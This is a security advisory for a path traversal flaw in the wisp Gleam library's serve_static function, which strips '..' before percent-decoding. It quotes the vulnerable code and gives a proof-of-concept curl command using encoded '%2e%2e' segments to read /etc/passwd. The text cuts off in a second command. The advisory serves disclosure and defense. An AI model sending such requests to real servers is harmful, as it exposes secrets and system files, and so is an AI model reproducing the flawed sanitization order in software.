EUVD-2026-280436

fkie_cve-2026-28807

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in gleam-wisp wisp allows arbitrary file read via percent-encoded path traversal.

The wisp.serve_static function is vulnerable to path traversal because sanitization runs before percent-decoding. The encoded sequence %2e%2e passes through string.replace unchanged, then uri.percent_decode converts it to .., which the OS resolves as directory traversal when the file is read.

An unauthenticated attacker can read any file readable by the application process in a single HTTP request, including application source code, configuration files, secrets, and system files.

This issue affects wisp: from 2.1.1 before 2.2.1.

GHSA-h7cj-j2vv-qw8r — Wisp Vulnerable to Path Traversal

Affected: Hex: wisp

### Summary

`wisp.serve_static` is vulnerable to arbitrary file read via percent-encoded path traversal (`%2e%2e`). The directory traversal sanitization runs before percent-decoding, allowing encoded `..` sequences to bypass the filter. An unauthenticated attacker can read any file readable by the application process in a single HTTP request.

### Details

In `src/wisp.gleam`, `serve_static` processes the request path in this order:

```gleam let path = path |> string.drop_start(string.length(prefix)) |> string.replace(each: "..", with: "") // Step 1: sanitize |> filepath.join(directory, _)

let path = case uri.percent_decode(path) { // Step 2: decode Ok(p) -> p Error(_) -> path } ```

Sanitization (step 1) strips literal `..` but runs **before** percent-decoding (step 2). The encoded sequence `%2e%2e` passes through `string.replace` unchanged, then `uri.percent_decode` converts it to `..`, which the OS resolves as directory traversal when the file is read.

### PoC

Any application using `wisp.serve_static`:

```gleam fn handle_request(req: wisp.Request) -> wisp.Response { use <- wisp.serve_static(req, under: "/static", from: priv_directory()) wisp.not_found() } ```

Exploit (requires `--path-as-is` to prevent client-side normalization):

```bash # Read /etc/passwd curl -s --path-as-is \ "http://localhost:8080/static/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

# Read project source code curl -s --path-as-is \ "h…

Most recent entries from all

EUVD-2026-280436

fkie_cve-2026-28807

GHSA-h7cj-j2vv-qw8r — Wisp Vulnerable to Path Traversal